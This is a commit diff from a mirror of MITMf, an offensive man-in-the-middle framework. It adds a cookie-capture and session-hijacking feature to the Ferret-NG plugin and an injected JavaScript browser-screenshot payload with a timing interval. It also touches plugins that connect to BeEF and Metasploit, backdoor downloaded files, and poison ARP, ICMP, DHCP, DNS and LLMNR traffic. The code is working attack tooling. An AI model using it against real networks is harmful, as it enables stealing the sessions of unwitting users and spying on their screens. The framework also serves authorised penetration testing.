mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-14 02:37:06 -07:00
Screenshotter plugin now live!
Added an interval option to specify the interval at which to take the sceenshots Ferret-NG plugin is pretty much set also, was a bit of a dummy and didn't take into account that we would have sessions from multiple clients (duh!) , so I added a section in the config file to specify the client to hijack the sessions from , also added an option to load the cookies from a log file!
This commit is contained in:
parent
ff39a302f9
commit
b9371f7cdc
17 changed files with 130 additions and 70 deletions
|
@ -24,7 +24,7 @@ import json
|
|||
|
||||
from time import sleep
|
||||
from core.beefapi import BeefAPI
|
||||
from core.utils import SystemConfig
|
||||
from core.utils import SystemConfig, shutdown
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
|
||||
|
@ -54,7 +54,7 @@ class BeefAutorun(Inject, Plugin):
|
|||
|
||||
self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
|
||||
if not self.beef.login(beefconfig['user'], beefconfig['pass']):
|
||||
sys.exit("[-] Error logging in to BeEF!")
|
||||
shutdown("[-] Error logging in to BeEF!")
|
||||
|
||||
def startThread(self, options):
|
||||
self.autorun()
|
||||
|
|
|
@ -20,12 +20,11 @@
|
|||
|
||||
import string
|
||||
import random
|
||||
import sys
|
||||
import logging
|
||||
|
||||
from time import sleep
|
||||
from core.msfrpc import Msfrpc
|
||||
from core.utils import SystemConfig
|
||||
from core.utils import SystemConfig, shutdown
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.BrowserProfiler import BrowserProfiler
|
||||
|
||||
|
@ -56,7 +55,7 @@ class BrowserSniper(BrowserProfiler, Plugin):
|
|||
version = self.msf.call('core.version')['version']
|
||||
self.tree_info.append("Connected to Metasploit v{}".format(version))
|
||||
except Exception:
|
||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
|
||||
shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
|
||||
|
||||
def startThread(self, options):
|
||||
self.snipe()
|
||||
|
|
|
@ -19,12 +19,15 @@
|
|||
#
|
||||
|
||||
import logging
|
||||
import ast
|
||||
import sys
|
||||
|
||||
from datetime import datetime
|
||||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
from twisted.web import http
|
||||
from twisted.internet import reactor
|
||||
from core.utils import shutdown
|
||||
from core.ferretng.FerretProxy import FerretProxy
|
||||
from core.ferretng.URLMonitor import URLMonitor
|
||||
|
||||
|
@ -41,17 +44,44 @@ class FerretNG(Plugin):
|
|||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.ferret_port = 10010 or options.ferret_port
|
||||
self.cookie_file = None
|
||||
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
|
||||
if options.cookie_file:
|
||||
self.tree_info.append('Loading cookies from log file')
|
||||
try:
|
||||
with open(options.cookie_file, 'r') as cookie_file:
|
||||
self.cookie_file = ast.literal_eval(cookie_file.read())
|
||||
URLMonitor.getInstance().cookies = self.cookie_file
|
||||
cookie_file.close()
|
||||
except Exception as e:
|
||||
shutdown("[-] Error loading cookie log file: {}".format(e))
|
||||
|
||||
self.tree_info.append("Listening on port {}".format(self.ferret_port))
|
||||
|
||||
def onConfigChange(self):
|
||||
mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
|
||||
def clientRequest(self, request):
|
||||
if 'cookie' in request.headers:
|
||||
host = request.headers['host']
|
||||
cookie = request.headers['cookie']
|
||||
client = request.client.getClientIP()
|
||||
if host not in URLMonitor.getInstance().cookies:
|
||||
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
|
||||
URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie}
|
||||
|
||||
if client not in URLMonitor.getInstance().cookies:
|
||||
URLMonitor.getInstance().cookies[client] = []
|
||||
|
||||
for entry in URLMonitor.getInstance().cookies[client]:
|
||||
if host == entry['host']:
|
||||
mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host))
|
||||
entry['host'] = host
|
||||
entry['cookie'] = cookie
|
||||
return
|
||||
|
||||
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
|
||||
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
|
||||
|
||||
def pluginReactor(self, StrippingProxy):
|
||||
FerretFactory = http.HTTPFactory(timeout=10)
|
||||
|
@ -60,10 +90,16 @@ class FerretNG(Plugin):
|
|||
|
||||
def pluginOptions(self, options):
|
||||
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)')
|
||||
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file')
|
||||
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from a log file')
|
||||
|
||||
def finish(self):
|
||||
if not URLMonitor.getInstance().cookies:
|
||||
return
|
||||
|
||||
if self.cookie_file == URLMonitor.getInstance().cookies:
|
||||
return
|
||||
|
||||
mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
|
||||
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file:
|
||||
cookie_file.write(URLMonitor.getInstance().cookies)
|
||||
cookie_file.close()
|
||||
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
|
||||
cookie_file.write(str(URLMonitor.getInstance().cookies))
|
||||
cookie_file.close()
|
||||
|
|
|
@ -69,6 +69,7 @@ from libs.bdfactory import pebin
|
|||
from libs.bdfactory import elfbin
|
||||
from libs.bdfactory import machobin
|
||||
from core.msfrpc import Msfrpc
|
||||
from core.utils import shutdown
|
||||
from plugins.plugin import Plugin
|
||||
from tempfile import mkstemp
|
||||
from configobj import ConfigObj
|
||||
|
@ -140,7 +141,7 @@ class FilePwn(Plugin):
|
|||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception:
|
||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
||||
shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
||||
|
||||
def setupMSF(self, msf):
|
||||
|
||||
|
|
|
@ -18,11 +18,9 @@
|
|||
# USA
|
||||
#
|
||||
|
||||
import sys
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
from core.utils import SystemConfig
|
||||
from core.utils import SystemConfig, shutdown
|
||||
|
||||
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
|
||||
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
|
||||
|
@ -48,7 +46,7 @@ class Responder(Plugin):
|
|||
config = self.config['Responder']
|
||||
smbChal = self.config['MITMf']['SMB']['Challenge']
|
||||
except Exception as e:
|
||||
sys.exit('[-] Error parsing config for Responder: ' + str(e))
|
||||
shutdown('[-] Error parsing config for Responder: ' + str(e))
|
||||
|
||||
LANFingerprinter().start(options)
|
||||
MDNSPoisoner().start(options, self.ourip)
|
||||
|
|
|
@ -20,6 +20,8 @@
|
|||
|
||||
import logging
|
||||
import base64
|
||||
import urllib
|
||||
import re
|
||||
|
||||
from datetime import datetime
|
||||
from plugins.Inject import Inject
|
||||
|
@ -32,22 +34,30 @@ class ScreenShotter(Inject, Plugin):
|
|||
optname = 'screen'
|
||||
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
|
||||
ver = '0.1'
|
||||
has_opts = False
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
self.interval = options.interval
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
|
||||
def clientRequest(self, request):
|
||||
if 'saveshot' in request.uri:
|
||||
request.printPostData = False
|
||||
img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||
with open(img_file, 'wb') as img:
|
||||
img.write(base64.b64decode(request.postData[30:] + '=='))
|
||||
img.close()
|
||||
client = request.client.getClientIP()
|
||||
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||
try:
|
||||
with open('./logs/' + img_file, 'wb') as img:
|
||||
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
||||
img.close()
|
||||
|
||||
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file))
|
||||
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
|
||||
except Exception as e:
|
||||
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
|
||||
|
||||
def get_payload(self):
|
||||
canvas = open("./core/javascript/screenshot.js", "rb").read()
|
||||
return '<script type="text/javascript">' + canvas + '</script>'
|
||||
canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
||||
return '<script type="text/javascript">' + canvas + '</script>'
|
||||
|
||||
def pluginOptions(self, options):
|
||||
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
|
|
@ -18,8 +18,7 @@
|
|||
# USA
|
||||
#
|
||||
|
||||
from sys import exit
|
||||
from core.utils import SystemConfig, IpTables
|
||||
from core.utils import SystemConfig, IpTables, shutdown
|
||||
from core.protocols.arp.ARPpoisoner import ARPpoisoner
|
||||
from core.protocols.arp.ARPWatch import ARPWatch
|
||||
from core.dnschef.DNSchef import DNSChef
|
||||
|
@ -55,7 +54,7 @@ class Spoof(Plugin):
|
|||
if options.arp:
|
||||
|
||||
if not options.gateway:
|
||||
exit("[-] --arp argument requires --gateway")
|
||||
shutdown("[-] --arp argument requires --gateway")
|
||||
|
||||
if options.targets is None:
|
||||
#if were poisoning whole subnet, start ARP-Watch
|
||||
|
@ -75,10 +74,10 @@ class Spoof(Plugin):
|
|||
elif options.icmp:
|
||||
|
||||
if not options.gateway:
|
||||
exit("[-] --icmp argument requires --gateway")
|
||||
shutdown("[-] --icmp argument requires --gateway")
|
||||
|
||||
if not options.targets:
|
||||
exit("[-] --icmp argument requires --targets")
|
||||
shutdown("[-] --icmp argument requires --targets")
|
||||
|
||||
icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address)
|
||||
icmp.debug = debug
|
||||
|
@ -88,7 +87,7 @@ class Spoof(Plugin):
|
|||
elif options.dhcp:
|
||||
|
||||
if options.targets:
|
||||
exit("[-] --targets argument invalid when DCHP spoofing")
|
||||
shutdown("[-] --targets argument invalid when DCHP spoofing")
|
||||
|
||||
dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
|
||||
dhcp.shellshock = options.shellshock
|
||||
|
@ -104,7 +103,7 @@ class Spoof(Plugin):
|
|||
DNSChef.getInstance().loadRecords(self.dnscfg)
|
||||
|
||||
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
|
||||
exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
|
||||
shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
|
||||
|
||||
SystemConfig.setIpForwarding(1)
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue